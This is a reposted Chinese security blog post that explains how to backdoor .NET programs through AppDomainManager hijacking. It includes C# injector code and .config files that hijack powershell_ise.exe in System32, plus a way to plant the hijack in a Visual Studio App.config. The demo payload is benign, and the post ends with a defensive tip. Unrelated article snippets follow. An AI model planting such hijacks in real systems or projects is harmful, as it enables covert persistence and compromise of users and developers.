AppDomainManager后门的实现思路

本文讲的是AppDomainManager后门的实现思路

0x00 前言

从Casey Smith@subTee学到的一个技巧:针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。 
如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制。

0x01 简介

本文将要介绍以下内容:

劫持自己开发的.Net程序

劫持系统.Net程序powershell_ise.exe

一种针对Visual Studio的利用思路

0x02 相关概念

CLR:

全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。

CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行:

  • 在CLR监视之下运行的程序属于“托管的”(managed)代码

  • 不在CLR之下、直接在裸机上运行的应用或者组件属于“非托管的”(unmanaged)的代码

对于在CLR监视之下的程序,程序启动的初始化过程可参考如下链接:

http://mattwarren.org/2017/02/07/The-68-things-the-CLR-does-before-executing-a-single-line-of-your-code/

值得注意的地方:

如果能从程序启动的初始化过程中找到一个可供利用的位置,在程序启动之前加载我们自己的代码,那么就可以“滥用”CLR的功能,实现对程序的劫持

更理想的情况下:

如果可被劫持的程序是一个系统常用程序,随开机自启动,那么,这个方法就能作为一个持续性后门

下面介绍Casey Smith@subTee分享的后门思路:AppDomainManager

0x03 劫持自己开发的.Net程序

注:

代码引用自:http://subt0x10.blogspot.com/2017/06/attacking-clr-appdomainmanager-injection.html

1、编写示例程序

使用Visual Studio,选择c#开发环境,新建控制台应用程序,工程名:program,代码如下:

using System;public class Program
{public static void Main(){Console.WriteLine("Inside the App");}
}

编译生成program.exe

程序运行如下图

AppDomainManager后门的实现思路

2、编写payload Dll

选择c#开发环境,新建类库,工程名:DomainManager,代码如下:

using System;

namespace DomainManager
{
public class InjectedDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
base.InitializeNewDomain(appDomainInfo);
Console.WriteLine("Blah From AppMgr");
}
}
}

编译生成DomainManager.dll

3、设置AppDomainManager劫持程序启动

将DomainManager.dll放于同级目录

方法1:

cmd设置环境变量:

set APPDOMAIN_MANAGER_ASM=DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null

set APPDOMAIN_MANAGER_TYPE=DomainManager.InjectedDomainManager

执行program.exe,通过查看回显,发现DomainManager.dll先于program.exe执行

成功实现劫持,完整操作如下图

AppDomainManager后门的实现思路

注:

注意比较执行顺序

通过cmd设置环境变量的方法只会作用于当前cmd,不够通用

方法2:

更加通用的方法:配置config文件

新建program.exe.config,内容如下:

<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/>
</startup>
<runtime>
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
<appDomainManagerAssembly
value="DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />

</runtime>
</configuration>

注:

config文件命名格式:exe+.config

成功实现劫持,完整操作如下图

AppDomainManager后门的实现思路

0x04 劫持系统.Net程序powershell_ise.exe

接下来,需要找到可供利用的系统.Net程序,尝试实现持久性后门

这里选取powershell_ise.exe作为演示

注:

powershell_ise.exe:全称Windows PowerShell Integrated Scripting Environment(集成脚本环境)

图形界面,主要用于编写和调试powershell脚本

操作界面如下图

AppDomainManager后门的实现思路

为了便于演示,我们需要修改工程DomainManager,使其在运行时弹框

1、添加引用

工程-右键-添加引用,选择System.Windows.Forms

如下图

AppDomainManager后门的实现思路

代码修改如下:

using System;
using System.Windows.Forms;
namespace DomainManager
{
public class InjectedDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
base.InitializeNewDomain(appDomainInfo);
Console.WriteLine("Blah From AppMgr");
MessageBox.Show("1");
}
}
}

重新编译生成DomainManager.dll

2、测试

劫持program.exe成功,如下图

AppDomainManager后门的实现思路

劫持powershell_ise.exe:

(1) 测试test目录

将powershell_ise.exe复制到c:test

在同级目录新建powershell_ise.exe.config,config文件可作适当精简,精简后的内容如下:

<?xml version="1.0"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" />
</startup>
<runtime>
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
<appDomainManagerAssembly value="DomainManager" />
</runtime>
</configuration>

c:test目录下启动powershell_ise.exe

成功劫持powershell_ise.exe

(2)测试powershell_ise.exe默认目录

路径如下:

C:WindowsSystem32WindowsPowerShellv1.0

需要管理员权限,在默认目录创建劫持文件DomainManager.dll和powershell_ise.exe.config

编译任意powershell脚本,默认启动powershell_ise.exe,成功劫持

完整操作如下图

AppDomainManager后门的实现思路

0x05 一种针对Visual Studio的利用思路

对于Visual Studio的c#工程,在工程目录下默认存在文件App.config,内容如下:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
</startup>
</configuration>

如果对其修改,添加劫持功能,那么在编译程序时,也会同步修改bin目录下默认生成的config文件

App.config修改如下:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
</startup>
<runtime>
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
<appDomainManagerAssembly value="DomainManager" />
</runtime>
</configuration>

编译程序,bin目录下的config文件也被修改,如下图

AppDomainManager后门的实现思路

如果在bin目录也放置DomainManager.dll,那么在程序启动时会被劫持,如下图

AppDomainManager后门的实现思路

0x06 小结

本文介绍了一种通过修改AppDomainManager实现的被动后门触发机制,分析了利用思路,站在防御者的角度,只需要留意.Net程序同级目录下的config文件就好。




原文发布时间为:2017年6月18日
本文作者:3gstudent 
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
原文链接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/280416.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

所有内耗,都有解药。

你是否常常会有这种感觉&#xff1a;刚开始接手一件事情&#xff0c;脑海中已经幻想出无数个会发生的问题&#xff0c;心里也已笃定自己做不好&#xff1b;即使别人不经意的一句话&#xff0c;也会浮想一番&#xff0c;最终陷入自我怀疑&#xff1b;随便看到点什么&#xff0c;…

ABAP 通过sumbit调用另外一个程序使用job形式执行-简单例子

涉及到两个程序&#xff1a; ZTEST_ZUMA02 (主程序)ZTEST_ZUMA(被调用的程序&#xff0c;需要以后台job执行)"ztest_zuma 的代码DATA col TYPE i VALUE 0.DO 8 TIMES.MESSAGE JOB HERE TYPE S.ENDDO.程序ZTEST_ZUMA是在程序ZTEST_ZUMA02中以job的形式调用的&#xff0c;先…

那些影响深远的弯路

静儿最近反思很多事情&#xff0c;不仅是当时做错了。错误定式形成的思维习惯对自己的影响比事情本身要大的多。经常看到周围的同事&#xff0c;非常的羡慕。他们都很聪明、有自己的方法。就算有些同事工作经验相对少一些&#xff0c;但是就像在废墟上创建一个辉煌的城市要比在…

如何使用APTonCD备份和还原已安装的Ubuntu软件包

APTonCD is an easy way to back up your installed packages to a disc or ISO image. You can quickly restore the packages on another Ubuntu system without downloading anything. APTonCD是将安装的软件包备份到光盘或ISO映像的简便方法。 您可以在不下载任何东西的情况…

rest_framework10:base64补充/修改头像

base64补充 # base64 变长&#xff0c;可反解 # md5 固定长度&#xff0c;不可反解# base64 编码和解码 import base64 import json dic{name:test,age:18} dic_strjson.dumps(dic)retbase64.b64encode(dic_str.encode(utf-8)) print(ret)# 解码 ret2base64.b64decode(ret) pri…

next_permutation(全排列算法)

next_permutation(全排列算法) STL提供了两个用来计算排列组合关系的算法&#xff0c;分别是next_permutation和prev_permutation。 首先解释下全排列&#xff0c;顾名思义&#xff0c;即一组数的全部排列的情况。 next_permutation 即列出一组数的全部排列情况&#xff0c;不过…

C#自定义字符串压缩和解压缩源码库

如下的内容是关于C#自定义字符串压缩和解压缩库的内容。class ZipLib{public static string Zip(string value){byte[] byteArray new byte[value.Length];int indexBA 0;foreach (char item in value.ToCharArray()){byteArray[indexBA] (byte)item;}System.IO.MemoryStrea…

使用 Visual Studio 2022 调试Dapr 应用程序

使用Dapr 编写的是一个多进程的程序, 两个进程之间依赖于启动顺序来组成父子进程&#xff0c;使用Visual Studio 调试起来可能会比较困难&#xff0c;因为 Visual Studio 默认只会把你当前设置的启动项目的启动调试。好在有Visual Studio 扩展&#xff08;Microsoft Child Proc…

卸载 cube ui_如何还原Windows 8附带的已卸载现代UI应用程序

卸载 cube uiWindows 8 ships with built-in apps available on the Modern UI screen (formerly the Metro or Start screen), such as Mail, Calendar, Photos, Music, Maps, and Weather. Installing additional Modern UI apps is easy using the Windows Store, and unins…

rest_framework11:jwt简单例子/自定制基于jwt认证类

jwt简单例子 一、登陆设置 1.不需要写login的视图类&#xff0c;使用jwt内置的。 2.需要前置条件&#xff0c;已有继承AbstractUser models,并且有数据&#xff0c;用于校验&#xff0c;返回token。 urls.py from rest_framework_jwt.views import obtain_jwt_tokenurlpat…

Java各种数据类型,自己学习写的笔记!!!

java编程规范&#xff1a; 1.良好的标识符的命名保留字不能作为标识符命名&#xff1a; class、public、static..., goto,const区分大小写&#xff1a;helloWorld、HelloWorld 2.良好的注释习惯 3.良好的缩进&#xff1a;没遇到一个代码块缩进一次&#xff08;一个tab键&…

Java Decompiler(Java反编译工具)

Java Decompiler官网地址&#xff1a;http://jd.benow.ca/ 官网介绍&#xff1a; The “Java Decompiler project” aims to develop tools in order to decompile and analyze Java 5 “byte code” and the later versions. JD-Core is a library that reconstructs Java sou…

20位程序员关于求职的疑问,以及我给出的参考答案

作者&#xff1a;陆小凤首发&#xff1a;公众号【程序员江湖】阅读本文大概需要 6 分钟。前几天发了一条朋友圈对于求职小伙伴们提出的问题&#xff0c;我进行了收集整理&#xff0c;统一反馈。也许这20个问题也是你们遇到的问题&#xff0c;所以趁着年前赶紧把它发出来。以下2…

MassTransit | 基于MassTransit Courier 实现 Saga 编排式分布式事务

Saga 模式Saga 最初出现在1987年Hector Garcaa-Molrna & Kenneth Salem发表的一篇名为《Sagas》的论文里。其核心思想是将长事务拆分为多个短事务&#xff0c;借助Saga事务协调器的协调&#xff0c;来保证要么所有操作都成功完成&#xff0c;要么运行相应的补偿事务以撤消先…

ccleaner无法更新_CCleaner正在静默更新关闭自动更新的用户

ccleaner无法更新CCleaner is forcing updates on users who specifically opt out of automatic updates. Users will only find out about these unwanted updates when they check the version number. CCleaner强制对专门选择退出自动更新的用户进行更新。 用户只有在检查版…

查找域内所有的Windows Server 2012 R2的服务器,并区分出哪些是物理机,那些是虚拟机...

通过使用Get-Adcomputer和Get-Wmiobject 组合来实现。思路是这样的&#xff0c;先看一台服务器的属性值有什么可用利用的。[12r2-dc]: PS C:\> Get-ADComputer -Identity 12r2-dc -Properties *AccountExpirationDate :accountExpires …

rest_framework12:多登陆方式与自动签发token/配置过期时间

多登陆方式与自动签发token views.py 1.继承Viewset&#xff0c;方法里可以使用自定义login&#xff0c;更直观。需要路由直接配置请方式 2. 序列化是直接对request数据处理&#xff0c;并从对象中获取token 3.context可以储存自定义数据 # 多登陆方式&#xff0c;自动签发…

20165310_获奖感想与Java阶段性学习总结

获奖感想与Java阶段性学习总结 一、Learning By Doing ​ 在此之前&#xff0c;其实我并没有想到能够成为小黄杉的第一批成员之一&#xff0c;喜悦之余&#xff0c;也感受到了许多的压力。小黄杉一方面代表了老师对于我这一阶段学习成果的肯定&#xff0c;但同时也是对我的督促…

chrome浏览器崩溃_不只是您:Chrome浏览器在Windows 10的2018年4月更新中崩溃

chrome浏览器崩溃If your computer is hanging or freezing after installing the Windows 10 April 2018 Update you’re not alone, and Microsoft is aware of the problem. 如果在安装Windows 10 April 2018 Update之后计算机挂起或死机&#xff0c;您并不孤单&#xff0c;…

读名老中医之路笔记(二)

任应秋&#xff1a;我的治学门径和方法 任应秋先生从幼读经&#xff0c;十三经皆能成诵&#xff0c;属于带童子功的医学家&#xff0c;他的医学经验&#xff1a; 一、读经宜读全本&#xff0c;解经宜先识字&#xff0c;读经宜正音读&#xff0c;强调对经典著作的朗读和背诵&…